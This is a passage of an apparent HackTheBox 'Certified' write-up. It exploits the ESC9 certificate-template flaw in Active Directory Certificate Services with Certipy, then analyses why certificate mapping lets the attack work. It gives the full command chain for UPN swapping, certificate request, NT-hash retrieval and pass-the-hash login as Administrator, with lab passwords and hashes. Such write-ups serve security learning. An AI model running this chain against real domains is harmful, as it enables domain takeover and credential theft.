Now, we can impersonate ca_operator with the P@ssw0rd123! password. The next attack vector will be looking for vulnerable certificate templates, which is common in ADCS boxes.

Certificate Templates Overview

For more information, you might check this specterops’s article, or the Microsoft’s ADCS documentation.

In a nutshell, if a client wants to authenticate using the Certificate Trust model, he must generate a private/public key pair and send a CSR (Certificate Signing Request) to the CA. Making a certificate request is also named making an enrollment.

When the client enrolls a certificate, he also specifies which certificate template to use. As the Microsoft’s documentation states, “certificate templates are the sets of rules and settings that are configured on a CA to be applied against incoming certificate requests.” In particular, certificate templates can be configured to restrict which client can enroll for the template. Therefore, clients can request a certificate only if they have enrollment rights over the requested certificate template.

If everything is okay, the CA generates, signs and provides a certificate to the client.

Image taken from specterops.

We could use Certipy to retrieve all the certificate templates defined in the current ADCS:

jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -old-bloodhound
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '<DATE>_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @BloodHoundAD

The -old-bloodhound option makes the retrieved ZIP compatible with the standard Kali BloodHound. Then, we could add the Certipy’s custom BloodHound queries into ~/.config/bloodhound/customqueries.json.

Numerous certificate templates are enabled, where most of them are created by default:

For instance, we could check which clients are allowed to enroll the User template:

Here, members of the groups Enterprise Admins, Domain Admins, and Domain Users are allowed to request a User certificate template. This template contains numerous attributes:

For example, User certificates has a Renewal Period attribute (which is actually mapped to the pKIOverlapPeriod attribute), the time after which the client’s certificate expires.

A certificate can be requested using the Get-Certificate cmdlet, and are stored in the My directory of the Windows Store:

*Evil-WinRM* PS C:\Users\management_svc\Documents> Get-Certificate -Template 'User' -CertStoreLocation Cert:\CurrentUser\My

Status Certificate
------ -----------
Issued [Subject]...
*Evil-WinRM* PS C:\Users\management_svc\Documents> Get-ChildItem -Force Cert:\CurrentUser\My |fl

Subject      : CN=management service, CN=Users, DC=certified, DC=htb
Issuer       : CN=certified-DC01-CA, DC=certified, DC=htb
Thumbprint   : 7986A3DE0BB869520F2D3B2746D4F9D52E2AFF9B
FriendlyName :
NotBefore    : <DATE>
NotAfter     : <DATE>
Extensions   : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}

Authentications Are Certified, No Worries !

Using the following custom BloodHound query to remove all the default certificate templates:

MATCH (n:GPO) WHERE n.type='Certificate Template' AND NOT ANY (x IN n.name WHERE toUpper(x) =~ '^(CA|EFS|CAEXCHANGE|ENROLLMENTAGENTOFFLINE|WEBSERVER|KERBEROSAUTHENTICATION|CODESIGNING|DIRECTORYEMAILREPLICATION|CEPENCRYPTION|USERSIGNATURE|SMARTCARDLOGON|RASANDIASSERVER|KEYRECOVERYAGENT|SUBCA|CROSSCA|WORKSTATION|CLIENTAUTH|SMARTCARDUSER|IPSECINTERMEDIATEOFFLINE|IPSECINTERMEDIATEONLINE|EFSRECOVERY|OFFLINEROUTER|ENROLLMENTAGENT|EXCHANGEUSER|EXCHANGEUSERSIGNATURE|OCSPRESPONSESIGNING|CTLSIGNING|ADMINISTRATOR|DOMAINCONTROLLER|DOMAINCONTROLLERAUTHENTICATION|MACHINE|MACHINEENROLLMENTAGENT|USER)@.*' ) RETURN n

Leaves us with one certificate: CertifiedAuthentication.

Also, looking for templates that can be requested by non-admin users (-hide-admins option) shows one interesting template named CertifiedAuthentication:

jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -enabled -hide-admins -stdout
[...]
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
[...]

Indeed, this is the only non-default certificate template. Also, this template is the only one that the operator_ca user we compromised can enroll:

jamarir@kali:~$ certipy find -u judith.mader@certified.htb -p 'judith09' -dc-ip 10.10.11.41 -enabled -hide-admins -stdout |grep -P 'Template Name|Enrollment Rights'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

    Template Name                       : CertifiedAuthentication
        Enrollment Rights               : CERTIFIED.HTB\operator ca
[...]
    Template Name                       : Machine
        Enrollment Rights               : CERTIFIED.HTB\Domain Computers
[...]
    Template Name                       : EFS
        Enrollment Rights               : CERTIFIED.HTB\Domain Users
    Template Name                       : User
        Enrollment Rights               : CERTIFIED.HTB\Domain Users

The most important parts to look at on the certificate template are the followings.

Enrollment Rights

        Enrollment Rights               : CERTIFIED.HTB\operator ca

This section simply lists the principals that are allowed to request the certificate template. These individuals are defined in the ntSecurityDescriptor attribute of the certificate template.

Extended Key Flag

    Extended Key Usage                  : Server Authentication
                                          Client Authentication

This section describes the purpose(s) of the issued certificates, i.e. for what the issued certificates can be used for. The exhaustive purpose list is defined in RFC3280:

In particular, CertifiedAuthentication certificates can be used for client authentications.

Certificate Name Flag

    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn

This section specifies the values that MUST be in the client’s certificate (related certipy's code). Here, 2 attributes are required:

  • SubjectRequireDirectoryPath instructs the CA to set the certificate’s Subject Name to the requestor's DN (Distinguished Name).

  • SubjectAltRequireUpn instructs the CA to set the certificate’s Subject Alternative Name to the requestor’s UPN (User Principal Name).

Enrollment Flag

    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs

This section specifies actions to be done during the enrollment (related certipy's code):

  • NoSecurityExtension instructs the CA not to include the szOID_NTDS_CA_SECURITY_EXT security extension (that definitely doesn’t sound secure).

  • AutoEnrollment instructs clients to autoenroll that template.

  • PublishToDs instructs the CA to append the certificate to the userCertificate attribute.

We’ll have a look of an example of each attibute afterwards

ESC9 exploitation

Let’s look for vulnerable certificate templates as ca_operator:

jamarir@kali:~$ certipy find -u ca_operator@certified.htb -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -vulnerable -stdout
[...]
Certificate Templates
  0
    Template Name                       : CertifiedAuthentication
    Display Name                        : Certified Authentication
    Certificate Authorities             : certified-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectRequireDirectoryPath
                                          SubjectAltRequireUpn
    Enrollment Flag                     : NoSecurityExtension
                                          AutoEnrollment
                                          PublishToDs
    Private Key Flag                    : 16842752
    Extended Key Usage                  : Server Authentication
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFIED.HTB\operator ca
    [!] Vulnerabilities
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

This CertifiedAuthentication template is vulnerable to the ESC9 exploit. As explained by this ifcr’s article, ESC9 is due to the CT_FLAG_NO_SECURITY_EXTENSION being set.

Let’s first use these Hacker Recipes and this offsecdeer’s blog to perform the attack:

  • Our requestor is ca_operator. Update the requestor’s UPN to Administrator:

      jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Updating user 'ca_operator':
          userPrincipalName                   : administrator
      [*] Successfully updated 'ca_operator'
    
  • Request a certificate as administrator UPN:

      jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Requesting certificate via RPC
      [*] Successfully requested certificate
      [*] Request ID is 5
      [*] Got certificate with UPN 'administrator'
      [*] Certificate has no object SID
      [*] Saved certificate and private key to 'administrator.pfx'
    
  • Authenticate with that certificate:

      jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Using principal: administrator@certified.htb
      [*] Trying to get TGT...
      [-] Name mismatch between certificate and user 'administrator'
      [-] Verify that the username 'administrator' matches the certificate UPN: administrator
    

  • Let’s try to update the UPN to an unexistent one, e.g. aadministrator ?

      jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'aadministrator@certified.htb'
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Updating user 'ca_operator':
          userPrincipalName                   : aadministrator@certified.htb
      [*] Successfully updated 'ca_operator'
    

    Indeed, that aadministrator user doesn’t exist, so we can’t authenticate with it:

      jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca certified-DC01-CA -template CertifiedAuthentication -target-ip 10.10.11.41
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Requesting certificate via RPC
      [*] Successfully requested certificate
      [*] Request ID is 7
      [*] Got certificate with UPN 'aadministrator@certified.htb'
      [*] Certificate has no object SID
      [*] Saved certificate and private key to 'aadministrator.pfx'
    
      jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx aadministrator.pfx
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Using principal: aadministrator@certified.htb
      [*] Trying to get TGT...
      [*] Got TGT
      [*] Saved credential cache to 'aadministrator.ccache'
      [*] Trying to retrieve NT hash for 'aadministrator'
      [-] Got error: Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
      [-] Use -debug to print a stacktrace
    
  • But can we now authenticate with the administrator certificate ? I mean, why not giving it a try ?

      jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
      Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
      [*] Using principal: administrator@certified.htb
      [*] Trying to get TGT...
      [*] Got TGT
      [*] Saved credential cache to 'administrator.ccache'
      [*] Trying to retrieve NT hash for 'administrator'
      [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
    

GG WP ?!

jamarir@kali:~$ evil-winrm -i 10.10.11.41 -u 'administrator' -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> gc ../desktop/root.txt
6a[...]86

Okay, What just happened ?!

Analysis

So:

  • Why can’t the requestor authenticate using administrator.pfx when his UPN is administrator ?

  • Why can the requestor authenticate using administrator.pfx when his UPN is NOT administrator ?

First, let’s extract the private and public parts of the administrator.pfx and aadministrator.pfx certificates:

jamarir@kali:~$ for upn in administrator aadministrator; do certipy cert -pfx "$upn.pfx" -nokey > "$upn.cer"; certipy cert -pfx "$upn.pfx" -nocert > "$upn.pem"; done

As we can see, both certificates’ Subject Names are set to the ca_operator's DN because of the template’s CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH flag:

Also, as expected, the Subject Alternative Name is set to the requestor’s UPN, because of the template’s CT_FLAG_SUBJECT_ALT_REQUIRE_UPN flag:

We could also have used openssl to get the certificates’ details:

jamarir@kali:~$ openssl x509 -noout -text -in administrator.cer
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            79:00:00:00:15:b2:dc:50:36:0a:bf:a7:a7:00:00:00:00:00:15
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=htb, DC=certified, CN=certified-DC01-CA
[...]
        Subject: DC=htb, DC=certified, CN=Users, CN=operator ca
[...]
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                E2:9A:60:E5:40:07:68:CF:05:0E:1F:DD:72:5C:63:66:1C:49:9C:89
            X509v3 Authority Key Identifier:
                EC:FB:12:40:15:A1:BD:C7:D1:2E:3B:2E:4D:4B:72:C0:62:DF:2B:F5
            X509v3 CRL Distribution Points:
                Full Name:
                  URI:ldap:///CN=certified-DC01-CA,CN=DC01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint
            Authority Information Access:
                CA Issuers - URI:ldap:///CN=certified-DC01-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?cACertificate?base?objectClass=certificationAuthority
[...]
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
[...]
            X509v3 Subject Alternative Name:
                othername: UPN::administrator@certified.htb
[...]
jamarir@kali:~$ openssl x509 -noout -text -in aadministrator.cer
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            79:00:00:00:16:98:ff:e9:fa:26:41:ae:8e:00:00:00:00:00:16
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC=htb, DC=certified, CN=certified-DC01-CA
[...]
        Subject: DC=htb, DC=certified, CN=Users, CN=operator ca
[...]
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                BC:1A:EE:38:91:0B:EA:65:34:E5:78:9B:2C:6A:40:0C:69:02:CD:EA
            X509v3 Authority Key Identifier:
                EC:FB:12:40:15:A1:BD:C7:D1:2E:3B:2E:4D:4B:72:C0:62:DF:2B:F5
            X509v3 CRL Distribution Points:
                Full Name:
                  URI:ldap:///CN=certified-DC01-CA,CN=DC01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?certificateRevocationList?base?objectClass=cRLDistributionPoint
            Authority Information Access:
                CA Issuers - URI:ldap:///CN=certified-DC01-CA,CN=AIA,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=certified,DC=htb?cACertificate?base?objectClass=certificationAuthority
[...]
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
[...]
            X509v3 Subject Alternative Name:
                othername: UPN::aadministrator@certified.htb
[...]

In Wireshark, authenticating using administrator.pfx with UPN administrator returns a KDC_ERR_CLIENT_NAME_MISMATCH error. However, authenticating using administrator.pfx with UPN aadministrator succeeds, with a corresponding AS-REP response.

Nonetheless, aren’t these two requests identical ?

Microsoft reported a bug of an issue that prevents Key Trust authentication from working properly on early Windows Servers 2019:

jamarir@kali:~$ nxc smb 10.10.11.41
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)

An update to KB4487044 (OS Build 17763.316) build would resolve that issue. However, we’re not using a Key Trust model authentication, but the Certificate Trust model instead. So that issue doesn’t explain the above error :/

The current build version of the DC’s operating system is 17763.6414, which is definitely more recent than the above glitched build:

*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-WMIObject win32_operatingsystem


SystemDirectory : C:\Windows\system32
Organization    :
BuildNumber     : 17763
RegisteredUser  : Windows User
SerialNumber    : 00429-00521-62775-AA913
Version         : 10.0.17763

*Evil-WinRM* PS C:\Users\Administrator\Documents> (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name CurrentBuild).CurrentBuild + '.' + (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name UBR).UBR
17763.6414

Okay, I have no choice I guess. Let’s dive into a thorough ESC9 exploitation understanding.

A Certificate Mapping Issue ?

Obsviously, delivered certificates must be tied to an account for them to be used for authentication. In order to tie a given certificate to an account, the CA uses a process called Certificate Mapping.

Certificate Mapping was introduced by Microsoft to prevent several CVEs. In particular, it allows to make sure that issued certificates couldn’t be spoofed with an arbitrary UPN or sAMAccountName (client-based trust).

Certificate Mapping uses a combination of 2 possible options: implicit/explicit and strong/weak.

Implicit vs Explicit Certificate Mapping

If the certificate mapping is implicit, then:

  • For user clients:

    • The certificate’s SAN must match the client’s UPN.

    • Upon failure, the DC tries to match the SAN with the client’s sAMAccountName, or sAMAccountName$.

  • For computer clients:

    • The certificate’s SAN must match the client’s dNSHostName.

    • Upon failure, the DC tries to match the SAN ($ suffixed) with the client’s sAMAccountName.

If the certificate mapping is explicit, then:

  • For user or computers clients, the client’s altSecurityIdentities attribute must contain the certificate’s identifier. For example, if the client’s altSecurityIdentities attribute is X509:<I>CN=certified-DC01-CA,DC=certified,DC=htb + <S>CN=operator ca,CN=Users,DC=certified,DC=htb, then the client must be operator ca, and can only request certificates issued by certified-DC01.

  • The following certificate mappings are possible:

In our case, we’re not in an explicit mapping scenario, as users in the domain don’t have the altSecurityIdentities attribute.

Strong vs Weak Certificate Mapping

As we saw earlier, when the CT_FLAG_SUBJECT_ALT_REQUIRE_UPN flag is set in the template’s Certificate Name section, the CA MUST add the requestor’s UPN to the certificate:

Let’s check what happens when the ca_operator’s UPN is deleted:

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn ''
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : *DELETED*
[*] Successfully updated 'ca_operator'

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(objectCategory=user)(sAMAccountName=ca_operator))" "*"
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584
LDAP        10.10.11.41     389    DC01             [+] Response for object: CN=operator ca,CN=Users,DC=certified,DC=htb
LDAP        10.10.11.41     389    DC01             objectClass:         top person organizationalPerson user
LDAP        10.10.11.41     389    DC01             cn:                  operator ca
LDAP        10.10.11.41     389    DC01             sn:                  CA
[... ca_operator has no UPN attribute ...]

Here, the certificate’s SAN is populated with <sAMAccountName>@<domain> by default:

jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'ca_operator@certified.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ca_operator.pfx'

Therefore, we’re in an implicit, and weak certificate mapping configuration, as the CSR doesn’t fail without an UPN:

On top of that, the CT_FLAG_NO_SECURITY_EXTENSION flag prevents a strong certificate mapping, as the StrongCertificateBindingEnforcement registry key is set to 0:

*Evil-WinRM* PS C:\Users\Administrator\Documents> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
    DependOnService    REG_MULTI_SZ    RpcSs\0Afd\0NTDS
    Description    REG_SZ    @%SystemRoot%\System32\kdcsvc.dll,-2
    DisplayName    REG_SZ    @%SystemRoot%\System32\kdcsvc.dll,-1
    ErrorControl    REG_DWORD    0x1
    Group    REG_SZ    MS_WindowsRemoteValidation
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\System32\lsass.exe
    ObjectName    REG_SZ    LocalSystem
    Start    REG_DWORD    0x2
    Type    REG_DWORD    0x20
    StrongCertificateBindingEnforcement    REG_DWORD    0x0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\Security

What about a UPN duplicate ?

What about using the same UPN between administrator and ca_operator ?

Let’s grab all the accounts (client and computer) interesting attributes for certificate mapping, i.e. sAMAccountName and userPrincipalName:

jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(|(objectCategory=user)(objectCategory=computer)))" "sAMAccountName userPrincipalName dNSHostName" |grep -oP '^LDAP.*?DC01\s+\K\w.*'
sAMAccountName:      Administrator
[...]
sAMAccountName:      judith.mader
userPrincipalName:   judith.mader@certified.htb
sAMAccountName:      management_svc
userPrincipalName:   management_svc@certified.htb
sAMAccountName:      ca_operator
userPrincipalName:   ca_operator@certified.htb
[...]
sAMAccountName:      DC01$
dNSHostName:         DC01.certified.htb

dNSHostName is used for computers, so we don’t really care here.

When the ca_operator’s UPN is deleted, it naturally vanishes:

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn ''
jamarir@kali:~$ nxc ldap 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -d 'certified.htb' --query "(&(objectClass=person)(objectCategory=user)(sAMAccountName=ca_operator))" "sAMAccountName userPrincipalName"
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584
LDAP        10.10.11.41     389    DC01             [+] Response for object: CN=operator ca,CN=Users,DC=certified,DC=htb
LDAP        10.10.11.41     389    DC01             sAMAccountName:      ca_operator

As a reminder, if the ca_operator’s UPN is administrator, the authentication fails for some mystic reasons:

jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator

The same applies with the administrator@certified.htb UPN:

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator@certified.htb'
jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator@certified.htb

As we can see in the LDAP outputs, Administrator has no UPN. Therefore, I assumed that the CA tries to match the requestor’s (ca_operator) UPN (administrator) with the SAN (administrator). But it somehow cannot (?!), because another user with the same sAMAccountName set to administrator exists.

So let’s try to set the Administrator’s UPN to administrator ?

jamarir@kali:~$ certipy account update -username 'administrator@certified.htb' -hashes ':0d5b49608bbce1751f708748f67e2d34' -user 'administrator' -upn 'administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Failed to resolve: CERTIFIED.HTB
[*] Updating user 'Administrator':
    userPrincipalName                   : administrator
[*] Successfully updated 'Administrator'

And retry the certificate authentication as ca_operator with UPN administrator ?

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : administrator
[-] Received error: 000021C8: AtrErr: DSID-03200E96, #1:
        0: 000021C8: DSID-03200E96, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 90290 (userPrincipalName)

Sniff. Administrator already has the administrator UPN, and 2 users cannot share the same UPN.

Therefore, we’ll have to delete the Administrator’s UPN set to administrator, for ca_operator to request a certificate with that UPN…

jamarir@kali:~$ certipy account update -username 'administrator@certified.htb' -hashes ':0d5b49608bbce1751f708748f67e2d34' -user 'administrator' -upn ''
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'Administrator':
    userPrincipalName                   : *DELETED*
[*] Successfully updated 'Administrator'

And back to the beginning, the authentication fails…

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator

¯\_(ツ)_/¯

Maybe the only workaround is, maybe, to request a certificate as ca_operator with the administrator UPN, and then alter it before the authentication, as we did before.

However, that last update shouldn’t (?) be required, as the ca_operator’s UPN set to administrator must equal the certificate’s SAN, also set to administrator

jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'administrator'
jamarir@kali:~$ certipy req -u 'ca_operator@certified.htb' -p 'P@ssw0rd123!' -dc-ip 10.10.11.41 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -target-ip 10.10.11.41
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator
jamarir@kali:~$ certipy account update -username 'management_svc@certified.htb' -hashes ':a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn ''
jamarir@kali:~$ certipy auth -dc-ip 10.10.11.41 -domain certified.htb -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Why ? ¯\_(ツ)_/¯. (At least, restoring a UPN is OPSEC-friendly)

0
Subscribe to my newsletter

Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

jamarir
jamarir

Jamaledine AMARIR. Pentester, CTF Player, Game Modding enthusiast | CRTO